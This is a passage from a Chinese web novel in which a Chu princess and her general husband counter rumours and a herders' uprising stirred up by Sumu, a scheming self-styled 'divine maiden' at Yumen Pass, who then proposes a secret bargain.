“你!”江令舟一时语塞。他确实首先考虑的是大局,是这次和亲背后的两国邦交,是边疆的稳定。但他对她…… “将军不必解释。”黎音袅别过脸,声音恢复了冰冷,“我累了,想歇息。” 这分明是逐客令。 江令舟看着她紧绷的侧脸,以及那双因愤怒和失望而微微颤抖的睫毛,心中涌起一股强烈的无力感。他想要解释,想要告诉她这背后必然是苏木那些人的阴谋,是冲着破坏他们的联盟而来。 但他此刻说什么,她恐怕都听不进去了。那句“大巫祝无所不在”,仿佛一个诅咒,让所有的事情都蒙上了一层阴影。 “你好好休息。”江令舟最终只说了这么一句,起身,离开了静室。 吱呀一声轻响,房门被带上,隔绝了内外。 黎音袅缓缓转回头,看着空无一人的房间,一种前所未有的孤寂与愤怒攫住了她。她不是不相信江令舟的人品,但这种被人玩弄于股掌之间,用如此卑劣手段攻讦的感觉,让她难以忍受。 尤其是,这流言精准地戳中了她身为长公主,却远嫁异乡的敏感与不安。 苏木……她默念着这个名字。 曾经因为怜悯救过的女孩。 江令舟走出静室,脸色铁青。魏林等在外面,见他出来,大气不敢出。 “传令下去,”江令舟的声音如同淬了冰,“玉门关内,三日之内,我要这流言的源头,死活不论!” 他必须尽快平息此事,不仅是为了军心,更是为了……他回头看了一眼紧闭的房门。 他绝不允许任何人用这种方式伤害她。 第137章谣言 玉门关外的晨曦,总是带着几分粗砺的沙尘气息。低矮的牧帐如散落的棋子,炊烟袅袅,牛羊的叫声与妇人们的谈笑声交织,构成一幅寻常的边塞生活画卷。 然而,今日的寻常之下,却暗流涌动。 “听说了么?”一个压低了嗓门,却又刻意想让周围人听清的声音响起。说话的是老牧民阿布泰,他黝黑的脸上布满褶皱,此刻却带着一丝神秘兮兮的兴奋,“咱们那位楚国来的江将军,啧啧,可不是省油的灯。” 他身边,几个正在挤羊奶的妇人停下了手中的活计,好奇地望过来。木桶边沿的奶沫微微晃动。 阿布泰见吸引了足够的注意,清了清喉咙,继续道:“听说啊,早前苏木姑娘遇险,就是江将军救的。英雄救美,本是佳话,可坏就坏在,他把人带回了营帐……”他故意拖长了音,吊足了胃口。 “然后呢?”一个年轻些的妇人忍不住追问。 “然后?”阿布泰嘿然一笑,“孤男寡女,共处一帐,还能有什么好事?说是图谋不轨,后来不知怎的,又把苏木姑娘给赶了出来!可怜的苏木姑娘,受了多大的委屈!” “哎哟!”一个妇人惊呼,“真的假的?那苏木姑娘可是大巫祝看重的人。” “就是说啊!”另一个尖细的声音接了上来,带着几分幸灾乐祸,“还听说,江将军那位夫人,从中原来的长公主,善妒得很,眼睛里揉不得半点沙子。怕是知道了苏木姑娘的事,才逼着将军把人赶走的。” “长公主嘛,金枝玉叶,哪里容得下别的女人。” “可怜苏木姑娘,无依无靠……” 议论声此起彼伏,充满了对“受害者”的同情和对“加害者”的揣测。 话音未落,远处传来一阵规律的马蹄声,越来越近。几个眼尖的牧民脸色微变,慌忙低头,继续手中的活计,方才还热烈的气氛瞬间冷却。 一队巡视的骑兵出现在牧帐群的边缘,为首一人身姿挺拔,正是江令舟。他身侧,黎音袅一身劲装,同乘一匹毛色乌亮的骏马,神色平静地看着这片草原。 巡逻队缓缓经过,马蹄踏在微湿的草地上,发出沉闷的声响。那些方才还在高谈阔论的牧民们,此刻都垂着头,仿佛什么也未曾发生。 然而,当马队行过一段距离,那些压抑的议论声如同被堵住泉眼后重新涌出的细流,再次响起,虽然音量小了许多,却带着一种别样的意味。 黎音袅的听力何等敏锐,即便隔着一段距离,那些刻意压低的窃窃私语,也断断续续地飘进了她的耳中。 “……楚国将军……苏木姑娘……图谋不轨……” “……长公主……善妒……容不得人……” 每一个字眼,都像是一根细小的针,精准地刺入她昨日才被撕开的伤口。她面上依旧平静,握着缰绳的手指却不自觉地收紧,指节泛白。 原来,这才是他们真正想让她听见的。昨日静室内的流言,不过是开胃小菜。今日这市井间的蜚语,才是真正诛心的剧毒。 她的目光掠过那些假作忙碌的牧民,心中一片寒凉。空穴来风,未必无因。她昨日对江令舟说过的话,此刻竟成了这些人攻讦她的利器。他们是要将她塑造成一个妒妇,一个容不下“功臣”的狭隘女子。而江令舟呢?一个被美色所惑,又被悍妻所制的无能之辈? 不,他们更想塑造的,恐怕是一个对苏木有情,却不得不屈从于长公主压力的无奈将军。 真是好一招离间计。 江令舟显然也察觉到了气氛的诡异,那些牧民在他经过时骤然的安静,以及身后隐约传来的嗡嗡声,让他眉头微蹙。但他并未多想,只当是边民畏惧官兵的常态。 他侧头看向黎音袅,见她面色如常,只是眼神比平日里更冷冽几分,便低声道:“此处靠近关隘,人员混杂,有些刁民惯会生事,不必理会。” 黎音袅没有看他,声音平淡无波:“将军说的是。不过,有些话听多了,也未必全然是空穴来风。” 江令舟心中一滞。她这话,与昨日的质问何其相似。他压下心头的不快:“音袅,那些不过是无稽之谈。” “无稽之谈?”黎音袅终于转过头,唇边勾起一抹极淡的弧度,却毫无笑意,“将军是指,你救助苏木是无稽之谈,还是你将她带回营帐是无稽之谈?又或者,在你眼中,我这位楚国长公主,确实容不下任何‘可能’威胁到我地位的女子,这也是无稽之谈?” 一连串的反问,让江令舟有些措手不及。他未曾听清那些具体的流言,只当又是些针对他们的恶意中伤。此刻听黎音袅一说,才隐约明白了几分。 “你听见了什么?”他的声音沉了下来。 “我听见了我想知道的,也听见了某些人想让我知道的。”黎音袅淡淡道,“将军治军严明,想来驭下有方。只是不知,这玉门关外的悠悠众口,将军要如何管束?” 她的语气,与其说是在质问,不如说是在陈述一个令人难堪的事实。 江令舟胸口一阵烦闷:“这些必然是苏木那些人的诡计!他们是想……” “想离间我们,想败坏你的名声,想让我难堪,想让楚国与北狄的联盟生出嫌隙。”黎音袅替他说了下去,声音依旧平静,却带着一种洞悉一切的冷漠,“这些,我都知道。将军不必一再重复。” 她顿了顿,继续道:“我只是在想,为何这些流言,总能精准地戳中我们之间最脆弱的地方?是他们太聪明,还是我们……太容易被看透?” 江令舟看着她,那双清澈的眼眸深处,是化不开的失望与戒备。他想要解释,想要告诉她,他对苏木绝无半分私情,营救之事也另有隐情。但话到嘴边,却又觉得苍白无力。 在这样的流言面前,任何解释都像是辩白,任何辩白都显得欲盖弥彰。 “音袅,”他艰难地开口,“此事,我会查清楚,给你一个交代。” “交代?”黎音袅轻轻重复着这两个字,随即发出一声轻不可闻的叹息,更像是一种自嘲,“将军要给的交代,是给楚国长公主,还是给你的妻子?” 这个问题,与昨日何其相似。 江令舟的心,像是被一只无形的手紧紧攥住,透不过气来。他知道,此刻无论他说什么,都难以消除她心中的芥蒂。那该死的流言,就像一根毒刺,深深扎入了他们之间。 巡逻队继续前行,身后的牧帐群渐渐远去,那些窃窃私语也消失在风中。但黎音袅知道,它们并未真正消失,而是像草原上的种子,一旦落下,便会生根发芽,蔓延开来。 她不再说话,只是沉默地看着前方苍茫的戈壁。阳光明明晃晃,照在身上却感觉不到丝毫暖意。 苏木…… 这个名字,再次在她心头浮现。昨日,她只是记住了这个名字。今日,这个名字在她心中,已经与“卑劣”、“阴险”画上了等号。 她不是不相信江令舟的人品,但她无法忍受这种被人算计、被人愚弄的感觉。更让她愤怒的是,这些人,似乎总能轻易地挑动她最敏感的神经,让她陷入这种被动又难堪的境地。 江令舟几次想开口打破这令人窒息的沉默,但看着黎音袅那紧绷的侧脸,以及那双因竭力隐忍而显得过分平静的眼眸,所有的话都堵在了喉间。 他知道,她又将自己封闭起来了。 那层坚硬的壳,他好不容易才敲开一丝缝隙,如今,又被她亲手合上了。 黎音袅的目光投向远方,那里是北狄王庭的方向。她缓缓地,极轻微地,勾了勾唇角。那抹弧度,冰冷而决绝。 第138章蛊惑人心 既然你们喜欢用这种方式来“问候”我这位楚国长公主,那么,来而不往非礼也。 队伍行至一处高坡,江令舟勒住马,准备下令在此稍作休整。他刚要开口,却见黎音袅调转马头。 “我去那边看看。”她指着不远处的一片稀疏胡杨林,语气平静,不带商量。 不等江令舟回应,她已一夹马腹,径直离去。 帅帐之内,空气微凝。 黎音袅的视线落在江令舟案头摊开的一幅银鞍马图上,图纸绘制精细,马匹神骏,鞍具华美。她的指尖,最终停在图上马鞍鞍侧一处不起眼的玛瑙缀饰上。 “这是胡杨部落特有的镶嵌手艺,”她开口,声音无波无澜,仿佛只是随口一提,“北疆之内,唯他们族中匠人能为。此物,为何会出现在玉门关外的马市图样上?” 江令舟眉心紧蹙,抬眼看向她,那双眼眸里是挥之不去的疲惫。“你如何得知这是胡杨部落的工艺?” “长公主的身份,总要有些用处。”黎音袅收回手,语气平淡,“比如,多识得几种旁人未必留意的纹饰。将军,你还没回答我的问题。” 他揉了揉额角:“今早接到密报,玉门关外有人刻意将一批带有此类玛瑙缀饰的银鞍流入市面,工艺精良,售价却不高。同时,还有消息放出,说这批银鞍……是我,或者说是我身边亲近之人所购。” 黎音袅静静听着,未发一言。又是流言,又是刻意的引导。这些手段,何其相似。 她心中冷笑,面上却不显:“哦?将军是想说,有人在仿制胡杨部落的银鞍,意图不明?” “或许是仿制,或许……是真的。”江令舟声音沉了下来,“胡杨部落近年生计艰难,若有人重金诱之,也并非绝无可能。关键在于,为何要将此事引向我?” 黎音袅道:“将军治军严明,深受部下爱戴,又得王帐看重。自然有人视将军为眼中钉,肉中刺。”她顿了顿,话锋微转,“只是,这桩生意做得如此明显,就不怕打草惊蛇么?” “怕的,”江令舟沉声道,“就是我们不起疑,或者疑错了方向。” 帐外忽然传来一阵急促的脚步声与隐约的喧哗,打断了二人的对话。 “将军!将军!”一名斥候未及通传便闯了进来,神色慌张,声音嘶哑,“不好了!营外……营外聚集了许多牧民,他们说……他们说您强抢了他们的神女!要您交人!” 强抢神女! 这四个字如同一道惊雷,在帅帐中炸开。 江令舟霍然起身,脸色骤变:“什么神女?胡说什么!” 黎音袅的心,却在此刻猛地一沉。她与江令舟对视一眼,从他眼中看到了同样的震惊与……一丝了然的苦涩。 神女…… 她的脑海中,瞬间闪过昨日在草场边缘,那个被士兵簇拥着,戴着狼首银饰的女族长——苏木。 那个在雪崩之后,恰到好处出现,又顺理成章跟着军队来到营帐的女人。 原来如此。 “是苏木。”黎音袅轻轻开口,声音里没有半分讶异,只有一种冰冷的笃定,“他们口中的神女,是她。” 江令舟的拳头瞬间握紧,手背上青筋暴起。“她……她怎会是神女?”他显然也想到了苏木,但仍觉不可思议。 “为何不会?”黎音袅反问,唇边泛起一抹极淡的嘲讽,“一个在雪崩中‘幸存’,又能安然出现在北狄军队面前的弱女子,若再有些特殊的身份,岂不更能博取信任,或者说……更能制造事端?” 她忽然想起,江令舟曾说营救苏木之事“另有隐情”。现在看来,这隐情,恐怕并非他所想的那般简单。苏木的出现,从头至尾,都是一个精心策划的局。 “她故意在那时出现,故意跟着我们回来,”黎音袅的声音愈发平静,那平静之下,是汹涌的怒意,“为的,就是今日这出戏。挑动牧民与军中嫌隙,扰乱北疆军心。好一个苏木,好一个‘神女’!” 江令舟面沉似水,他此刻终于完全了悟。那些关于他和苏木的流言,苏木刻意营造的柔弱,以及现在这“神女”的身份,环环相扣,都是为了将他推向万劫不复的境地。 “她想引起北疆的内部矛盾。”江令舟一字一句道,声音里带着压抑的怒火。 “何止。”黎音袅缓步走到帐门边,掀开帘幕一角,望向外面骚动的人群,“她还要毁了你,江令舟。顺便,也给我这位远道而来的楚国长公主,一份‘厚礼’。” 斥候在一旁急道:“将军,那些牧民情绪激动,人也越聚越多,您看……” 江令舟深吸一口气,强迫自己冷静下来:“备马!我去看看!” “不必。”黎音袅放下帘帐,转过身,“将军此刻出去,只会坐实他们的指控。他们要的是‘神女’,并非与你对质。” “那该如何?”江令舟看向她,此刻,他竟有些无措。军阵冲杀他无所畏惧,但这等阴私诡谲的手段,却让他束手束脚。 黎音袅没有立刻回答。她想起昨日江令舟那句“我会查清楚,给你一个交代”。 她淡淡道:“将军不是说,要给我一个交代么?” 江令舟一怔,随即明白了她的意思。他苦涩道:“是,我是说过。但眼下……” “眼下,正是将军证明清白,也是……让我看看将军手段的时候。”黎音袅截断他的话,“苏木既然自称神女,想必在那些牧民心中地位尊崇。将军若强硬处置,只会激化矛盾,正中敌人下怀。” “你的意思是?” “我要见她。”黎音袅道,“既然她是‘神女’,我倒想看看,她有多少神力,能颠倒黑白,蛊惑人心。” 她的语气平静,却带着不容置喙的决断。昨日那个戴着狼首银饰的身影,在她脑中愈发清晰。 很好,苏木。你这一步棋,的确够狠。 但你似乎忘了,我黎音袅,也不是任人摆布的棋子。 她抬眼,迎上江令舟复杂的目光。 “将军,你信我么?” 江令舟看着她,看着她那双清冽却再无半分柔软的眼眸,心中百味杂陈。他张了张口,最终只吐出一个字:“……信。” 黎音袅微微颔首,不再多言,径直走向帐外。 第139章顾虑 北风卷着残雪,如同呜咽。 京中快马传来的消息,像一柄无形的利剑,悬在江令舟头顶。皇帝听闻北疆流言,已遣专使前来“体察军情民意”,实则是打探他江令舟是否真如传言那般不堪,失了军心民心。 “皇恩浩荡,倒是体恤。”黎音袅的声音听不出喜怒,指尖轻轻划过温热的茶盏,“只是这‘体察’二字,用得颇有深意。” 江令舟眉峰紧锁,帐内气氛凝重如铁。“圣上疑心,也是人之常情。只是苏木这一手,着实毒辣,若任由流言发酵,待钦差一到,我便是百口莫辩。”他看向黎音袅,那日她一句“你信我么”,他答了“信”,此刻,这份信任便是他唯一的浮木。 “所以,不能等。”黎音袅放下茶盏,发出轻微的磕碰声,“流言如水,堵不如疏。与其被动解释,不如主动出击。” 她站起身,走到江令舟面前,帐内的光线在她身上投下淡淡的剪影。“对外宣称,我已有孕,是将军的子嗣。” 江令舟猛地抬头,震惊让她一时失语:“长公主,这……万万不可!” “名节?咱们是夫妻算不上有辱名节。”黎音袅唇边泛起一丝若有若无的弧度,“与楚国和北疆的安危相比,这算得了什么?如今之计,唯有如此,才能最快平息牧民的揣测,也能让远在京城的某些人,暂时收敛。”她顿了顿,补充道,“这也是向苏木宣告,她的算计,我看透了,并且,我不在乎。” 一个身怀六甲的女子,一个即将为北疆统帅诞下子嗣的楚国公主,这个身份,足以让许多恶意揣测烟消云散。 “可是……”江令舟仍有顾虑,他深知这其中的风险,以及对黎音袅的牺牲。 “没有可是,将军。”黎音袅打断他,“你只需配合。另外,立即拨出一批粮食和预留的骆驼奶,分发给那些受蛊惑的牧民。告诉他们,这是楚国长公主,也是将军夫人,给他们的安抚。” 江令舟看着她,那双清冽的眼眸里,没有半分退缩,只有破釜沉舟的决绝。他喉结滚动,最终沉声道:“好,就依你所言。”他心中清楚,黎音袅此举,不仅是为了他,更是为了稳固北疆,为了楚国在此地的立足。这份情,他承了。 消息很快传遍营地内外。 长公主有孕,将军后继有人! 楚国公主心善,分发粮食物资! 牧民们最初的惊愕过后,便是窃窃私语。那些被“神女”煽动起来的怨气,在实实在在的粮食和温暖的骆驼奶面前,悄然消解了几分。孩子的消息,更是如同一剂强心针,让许多原本摇摆不定的人,重新审视起当前的局势。 军心,在微妙的转圜中,渐渐回稳。 然而,苏木的反击,比预想中来得更快。 午后,日光正好,二十余名骑士簇拥着一道身影,如旋风般闯入中军大帐前的空地。为首的女子一身劲装,正是苏木。她身下的骏马神骏异常,马鞍在阳光下泛着冷冽的银光,其上纹饰繁复,隐隐有兽纹。 “江将军何在?”苏木的声音清亮,却带着不加掩饰的质问,目光直逼刚刚走出帐篷的江令舟。 斥候早已飞报,江令舟与黎音袅并肩而出。 苏木的视线掠过江令舟,最终落在黎音袅身上,那目光中带着一丝探究与冷意。“江将军,我族神女的银鞍为何在你这里?”她勒住马,马蹄不安地踏动着,银鞍上的挂饰叮当作响。 不等江令舟开口,黎音袅已然上前一步,声音平静无波,却字字清晰:“这位姑娘,我认得你。那日雪崩,你自称苏木。”她视线缓缓移到苏木腰间,那里,一个狼首图腾的银饰在日光下分外显眼,与那日雪地中一闪而过的记忆重合。 黎音袅忽然笑了,那笑意却未达眼底:“族长的银鞍若是失窃,自有族中规矩处置,或可报官,去马市、当铺细细查访是否有贼人销赃,而非气势汹汹闯入我军营帐,对一军统帅泼脏水。莫非,这就是你们部族的待客之道?” 苏木瞳孔微不可察地一缩。她预想过江令舟的愤怒,预想过他的辩解,却没料到,几日不见,这位楚国长公主竟变得如此镇定,言辞间更是滴水不漏,反将了她一军。她营造的“神女失窃圣物,前来问罪”的氛围,竟被对方轻飘飘一句“查贼”给带偏了。 江令舟此刻也反应过来,他往前一步,将黎音袅护在身后,声音沉稳:“苏木姑娘,此银鞍工艺确是精湛,本将军初见之时的确动过心,也曾派人查问来历。但得知此乃你部族长之物,且意义非凡,早已????????人完璧归赵,何来‘在你这里’一说?”他伸手,指向一旁亲卫早已捧出的一个锦盒,里面正是那具引人注目的银鞍。 “完璧归赵?”苏木冷笑一声,眼神锐利如刀,“若非我今日前来,将军打算何时‘归还’?还是说,要等我族人发现神物失窃,群情激愤,再来上演一出贼喊捉贼的戏码?” 她带来的骑士们闻言,纷纷面露怒容,手按上了腰间的弯刀。 气氛骤然紧张。 “苏木姑娘慎言!”江令舟面色一沉,“我敬你是客,但你若一再污蔑,休怪本将军不讲情面!” “情面?”苏木扬高了声音,“江将军与楚国公主的情分,倒是无人不晓了!只是不知,这情分里,是否也包括了对我族神物的觊觎?” 她这话,意有所指,分明是将脏水往黎音袅身上也泼了一盆。暗指他们二人联手,图谋她的“神鞍”。 黎音袅上前,直面苏木:“苏木姑娘一口一个‘神女’,一口一个‘神物’。我倒想请教,你口中的‘神女’,是哪路神仙?这‘神鞍’,又有何等神力,能让你带着人马,擅闯我北疆军营,指责一方主帅?”她语气陡然转厉,“还是说,这‘神女’之名,不过是你蛊惑人心、挑拨离间的幌子?” “你!”苏木语塞,她没想到黎音袅竟敢直接质疑她的“神女”身份。 就在此时,帐外忽然传来一阵阵压抑不住的牧民叫嚷声,隐约能听到“神女”、“神鞍”之类的字眼。显然,苏木今日前来,并非毫无准备,外面那些人,便是她的后援。 苏木听着外面的动静,握着缰绳的手猛然收紧。她深深看了一眼黎音袅,又扫过面色铁青的江令舟,以及那只装着银鞍的锦盒。 她突然调转马头,动作迅疾。 “我们走!” 一声令下,二十余名骑士没有丝毫犹豫,跟着她策马疾驰,转眼便消失在营门方向。 来势汹汹,去也匆匆。 江令舟看着她们离去的背影,眉头紧锁。 第140章真正的目的 帐内静默片刻,空气中仍残留着方才剑拔弩张的余韵。 黎音袅的视线落在亲卫捧着的锦盒上,那具银鞍在昏暗的营帐内,依旧折射出幽微的光。她缓步上前,江令舟并未阻止,只是眼神中多了几分探究。 她伸出手,指尖并非触碰银鞍本身,而是轻轻抚过鞍侧镶嵌的一颗深红色玛瑙缀饰。那玛瑙色泽深沉,打磨得异常光滑,在指尖下传来一丝凉意。她的手指继而向上,来到鞍身主体,那里雕刻着繁复的兽纹图腾。 “这纹路……”黎音袅的声音很轻,带着一丝不易察觉的凝重,“与先前地牢中那名刺客耳后的刺青,有七分相似。” 江令舟闻言,眉峰蹙起,他快步走到锦盒旁,俯身细看。那兽纹图腾狰狞盘旋,线条古拙,透着一股原始的凶悍之气,与寻常草原部落的纹饰迥然不同。他虽未亲见那刺客,但黎音袅的判断,他从不怀疑。 “刺客?”他沉吟,“你是说,苏木与那些人有关?” “苏木所谓‘神女’身份,恐怕与毒蛊门脱不了干系。”黎音袅收回手,语气肯定,“我曾听闻,毒蛊门有一种说法,其‘大巫祝’候选者,身上会刺有类似的图腾,作为身份的隐秘标识。而每一代大巫祝,都会拥有一件传承的‘圣物’。”她看向那银鞍,“或许,这就是她口中的‘神鞍’。” 江令舟凝视着锦盒中的银鞍,神色愈发凝重:“若真是毒蛊门……他们行事向来诡秘狠辣,牵扯到他们,事情就复杂了。”他抬眼望向帐外,苏木一行人离去的方向,“她今日突然退走,如此干脆,恐怕是察觉到了什么,或者说,她的目的已经达到了。” 他之前也对领教过苏木的伎俩,后悔当时没有除掉她,让她跑了。 入金给自己和妻子带来了无尽的麻烦。 黎音袅微微颔首:“她借‘神鞍’失窃为由闯营,一则试探我们的反应,二则,恐怕是想将这‘神鞍’光明正大地‘取回’,同时在我们心中种下一根刺。”她顿了顿,分析道:“她深知我们不会轻易相信她,但只要‘神鞍’在她手中,她便能借此大做文章。” “做什么文章?”江令舟追问,心中隐隐升起一股不安。苏木此人,绝非表面看去那般鲁莽。 黎音袅正要开口,帐外忽然传来一阵急促的脚步声,伴随着亲卫略显慌张的通报:“将军!” 一名斥候装束的士兵踉跄着冲入帐内,单膝跪地,声音因急促而有些嘶哑:“将军!紧急军情!胡杨部落的牧民……胡杨部落的牧民突然大规模异动,正向玉门关方向聚集!” 江令舟面色一变:“聚集?有多少人?所谓何事?” 斥候喘了口气,急声道:“人数众多,怕是不下数千!他们……他们打着旗号,声称要……要‘迎神女归位’!沿途还有其他小部落的牧民不断加入!” “迎神女归位?”江令舟重复着这几个字,一股寒意从心底升起。 黎音袅与江令舟对视一眼,彼此都从对方眼中看到了震惊与了然。 “原来如此。”黎音袅轻叹一声,声音却冷了几分,“她的‘神鞍’已经‘完璧归赵’,接下来,自然是‘神女’显灵,号令信徒了。” 江令舟拳头倏然握紧:“好一个苏木!她根本不是来问罪,也不是来寻衅!她是来演一场戏给我们看,更是演给那些被她蛊惑的牧民看!”他猛地转身,对帐外喝道:“传我将令,命玉门关守将严密戒备,任何人不得擅自出入!另,速派人查明各部落动向,尤其是那些依附胡杨部落的小族!” “是!”帐外亲卫领命而去。 江令舟在帐内踱了几步,眉宇间尽是忧色:“玉门关是我北疆防线的重要关隘,一旦有失,后果不堪设想。苏木此举,分明是想借牧民之力,冲击关防!” “冲击关防或许只是其一。”黎音袅走到沙盘旁,指着玉门关的位置,“玉门关地处要冲,连接着草原与中原的商道。若她能控制玉门关,便等于扼住了北疆的咽喉。更重要的是,‘神女归位’这种口号,极具煽动性。一旦让她成功,恐怕会有更多不明真相的部落卷入其中,届时北疆将大乱。” 江令舟盯着沙盘,脸色铁青:“她这是要将整个北疆拖入战火!好大的野心!好毒的计策!”他看向黎音袅,“她今日退走,恐怕也是算准了我们一时无法拆穿她的‘神女’身份,而外面的牧民,已经被她煽动起来了。” “她营造的声势越大,我们就越投鼠忌器。”黎音袅道,“若强行弹压,反而会坐实她‘神女受迫害’的说法,激化矛盾。若置之不理,玉门关危矣。” 她愧对于夫君,若不是当时的坚持苏木不可能有机可乘。 加上发现苏木有问题的时候也没有继续追查她的行踪,如今她卷土归来,还以北疆神女的身份当受害者实在很让人头疼。 若是置之不理,百姓们会无中生有,本来就是问题较多的北疆更加难以看管了。 江令舟一拳砸在沙盘边缘,发出沉闷的响声:“这个苏木,当真小觑了她!”他看向那只装着银鞍的锦盒,“这东西,现在反倒成了烫手山芋。” 俩人十分后悔当时因可怜苏木才收留,入金她对军营内部的情况以及人员部署了如指掌,想要害他们易如反掌。 “不,”黎音袅摇头,“它依旧是关键。苏木既然如此看重此物,必然有其特殊之处,或许,破解她‘神女’身份的秘密,也在这银鞍之上。”她眸光微闪,“只是,我们现在最缺的,是时间。” 江令舟深吸一口气,努力让自己冷静下来:“苏木的真正目的,恐怕才刚刚开始。她不会只满足于一个玉门关。” 黎音袅的指尖轻轻敲击着沙盘上玉门关的标记,发出轻微的叩击声。 第141章交易 夜色如墨,帐内烛火摇曳,将黎音袅专注的身影投在舆图之上。她指尖停在玉门关,思绪却早已飘向更广阔的草原深处。苏木此人,绝非池中之物,其所图谋,恐怕远不止一座关隘。 “啪嗒。” 一声轻响,帐内唯一的烛火骤然熄灭。 黑暗瞬间吞噬一切。 黎音袅呼吸一滞,几乎是本能地,右手已探入袖中,紧紧扣住了那柄防身的短匕。帐外并无异动,亲卫的巡逻脚步声依旧规律。 风?不像。这帐篷的帘幕扎得极紧。 一个念头电光火石般闪过,她浑身汗毛倒竖。 “长公主果然聪慧,临危不乱。” 一道略带沙哑,却又奇异地透着几分娇媚的女声,从窗牖方向传来。那声音不高,却清晰地传入黎音袅耳中,仿佛贴着她耳廓低语。 窗牖的布帘被一只素白的手轻轻拨开,一道纤细窈窕的身影如鬼魅般翻了进来,落地无声。 即便在伸手不见五指的黑暗中,黎音袅也能感觉到那道身影带来的压迫感。 “苏木?”黎音袅的声音没有丝毫颤抖,冷静得如同帐外的寒夜。她没有点灯,也没有呼救。 “长公主好记性。”黑暗中,那人轻笑一声,似乎对她的镇定颇为欣赏。随着她的话音,一点微弱的火光亮起,是她指间捻着的一枚火折子。火光映照下,一张年轻而绝美的脸庞显露出来,眉眼间带着几分野性的不羁。她摘下了蒙面的黑巾,露出了那张曾在白日惊鸿一瞥的容颜。 正是苏木。 她打量着黎音袅,眼中闪过一丝赞赏:“我此次来,是想同长公主谈笔交易。” 黎音袅握紧袖中短匕,冰冷的触感让她纷乱的心绪稍定:“交易?你觉得,我会与一个处心积虑煽动牧民、意图扰乱我北疆的骗子谈交易?”她的话语带着毫不掩饰的讥讽。 苏木对她的指责不以为意,反而走到一旁的矮几边,自顾自地坐下,姿态随意,仿佛这里是她的营帐。“骗子?”她重复了一遍,尾音微微上扬,“长公主此言差矣。我若真是骗子,此刻帐外那些虔诚的眼睛,又该如何解释?” “他们只是被你的花言巧语所蒙蔽,被所谓的‘神迹’所蛊惑。”黎音袅冷声道,“你今日种种,不过是为了一己私欲,不惜将无数无辜之人拖入战火。” “一己私欲?”苏木轻笑起来,那笑声在寂静的夜里格外清晰,“长公主殿下,你以为我想要的,仅仅是玉门关?又或者,只是想看北疆烽烟四起?” 黎音袅心头一凛。她果然还有后招,更大的图谋。 “我想要的,长公主未必给不起。”苏木终于说到了正题,她身体微微前倾,火折子的微光在她眼中跳跃,“若我能让北疆所有部族,包括那些桀骜不驯的小部落,尽数归顺江令舟将军,从此向大楚俯首称臣,再无二心。以此,换楚国朝廷放弃对北疆各部征收的所有税赋,如何?” 黎音袅瞳孔骤然一缩。 让北疆部族彻底臣服?放弃税收? 这条件,不可谓不惊人。北疆各部虽名义上臣服大楚,但实际上各自为政,时有摩擦,朝廷每年投入巨大军费维持边境安稳,所得税赋与支出相比,不过杯水车薪。若真能让北疆彻底安定,对大楚而言,无疑是去一心腹大患。 只是,这话从苏木口中说出,可信度有多少? “你凭什么?”黎音袅反问,“凭你那套‘神女降世’的把戏?还是凭你手中那枚银鞍?” 苏木摇头,笑容中带着几分莫测高深:“长公主,手段是什么,重要吗?重要的是结果。江将军需要军功,朝廷需要安定的北疆,而我,可以给你们这个结果。” 她顿了顿,话锋一转,带着一丝若有似无的蛊惑:“长公主殿下离京多日,难道就不想早日结束这北疆的苦寒,回到繁华似锦的京城,回到权力中枢么?” “回京城?”黎音袅重复着这三个字,心中某个角落似乎被轻轻拨动了一下。京城,那是她的故土,也是她权谋的起点与终点。但她很快便压下了那丝波澜。 她清楚,苏木这是在攻心。 “我的去留,无需你来操心。”黎音袅的语气依旧冰冷,“你提出的条件,听起来很诱人。但你觉得,我会相信一个野心勃勃的煽动者,会真心实意地为大楚的安宁着想?” “真心实意?”苏木像是听到了什么笑话,“长公主,我们谈的是交易,不是交情。我自然有我的所图。至于是什么,殿下暂时不必知晓。你只需要考虑,这笔交易,对你,对江将军,对大楚,是否划算。” 黎音袅沉默了。苏木的提议像一块巨大的饵,悬在她的面前。她不得不承认,这诱饵的份量,足以让任何人动心。北疆的症结,并非一朝一夕能解,江令舟在此殚精竭虑,也不过是勉力维持。若真能兵不血刃,换来长治久安…… “你所谓的‘俯首称臣’,能维持多久?”黎音袅问道,声音里带着审视,“一旦你的‘神女’光环褪去,那些部族还会听从号令吗?” “这便是我与江将军之间的事了。”苏木答得滴水不漏,“我既然能让他们信我一次,自然有办法让他们一直信下去。或者,长公主认为,江将军连这点驾驭部下的能力都没有?” 好个苏木,三言两语便将皮球踢了回来,还顺带捧了江令舟一把。 黎音袅心中念头急转。苏木此举,风险极大。她孤身入营,已是行险。提出的交易,更是匪夷所思。她到底倚仗着什么?那枚银鞍?还是她营造的“神女”声势? “你想要什么?”黎音袅终于问出了最关键的问题。天下没有免费的午餐,苏木费尽心机,绝不可能只为了当个活雷锋。 苏木脸上的笑容敛去几分,眼中多了些许深沉:“我想要的,与长公主今日所见,或许有些出入。但眼下,我们有共同的敌人,不是吗?” 共同的敌人?黎音袅蹙眉。 “长公主不必急于答复。”苏木站起身,火折子在她指间即将燃尽,她随手将其按熄在矮几的边缘。“明日此时,我再来听长公主的决定。希望届时,我们能有一个愉快的开始。” 她说完,竟真的转身,作势要从窗牖离开。 “等等!”黎音袅出声。 苏木脚步一顿,却没有回头。 “你就不怕我将你擒下,用你来要挟关外的牧民退去?”黎音袅道。 黑暗中,苏木发出一声低低的轻笑:“长公主可以试试。看看是你擒下我快,还是玉门关外的火先烧起来。又或者,殿下觉得,凭这小小的帐篷,真能困住我?” 她的身影再次融入黑暗,窗牖的布帘轻微晃动了一下,便恢复了平静。 一切仿佛从未发生。 黎音袅站在原地,许久未动,袖中的短匕依旧紧握。 第142章依约而来 帐内空气沉闷。 苏木依约而来,身影在摇曳的烛火下显得愈发莫测。 黎音袅没有看她,指尖无意识地摩挲着袖中短匕的冰凉触感。昨日苏木离去后,她一夜未眠。苏木的提议,每一个字都包裹着剧毒的蜜糖。 “长公主考虑得如何?”苏木先开了口,打破了帐内的死寂。 黎音袅终于抬眼,冷声道:“你以为用‘神女’的身份煽动那些无知牧民,再到我这里假惺惺地谈什么合作,就能离间我与北疆军民,甚至离间我与江令舟?” 她一字一句,掷地有声。苏木这步棋,看似为大楚,实则包藏祸心。若北疆将士与归降部族皆奉“神女”之命,那她黎音袅,她夫君江令舟,又算什么? 苏木逼近半步,帐内空间本就狭小,她这一动,压迫感顿生:“江将军年轻有为,镇守北疆,劳苦功高。若能得部族真心拥戴,必能彻底稳固北疆局势,这对将军而言,是莫大的助力。长公主难道不想助夫君一臂之力,让他威名更盛,少些沙场凶险?” 